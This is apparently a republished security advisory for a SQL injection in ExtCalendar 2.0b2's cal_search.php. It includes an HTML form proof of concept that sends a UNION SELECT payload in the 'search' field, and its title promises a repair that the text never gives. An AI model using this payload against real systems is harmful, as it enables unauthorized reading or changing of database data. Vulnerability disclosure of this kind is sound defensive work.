ExtCalendar 2.0b2 (cal_search.php) SQL Injection defects and repair

Vulnerability ID: HTB22986

Reference: html "> http://www.htbridge.ch/advisory/ SQL _injection_in_extcalendar_2.html

Product: ExtCalendar 2

Vendor: http://sourceforge.net/projects/extcal/

Vulnerable Version: 2.0b2

Vendor Notification: 05 May 2011

Vulnerability Type: SQL Injection

Risk level: Medium

Credit: High-Tech Bridge SA Security Research Lab (http://www.htbridge.ch/advisory)

Vulnerability Details:

The vulnerability exists due to failure in the "cal_search.php" script to properly sanitize user-supplied input in "search" variable.

Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit varous vulnerabilities in the underlying SQL database.

<Form action = "http://www.bkjia.com/cal_search.php" method = "post" enctype = "multipart/form-data">

<Input type = "hidden" name = "search" value = ") union select 1, version (), 3, 4, 5, 6, 7, 8, 9, 10 --">

<Input type = "submit" value = "OK">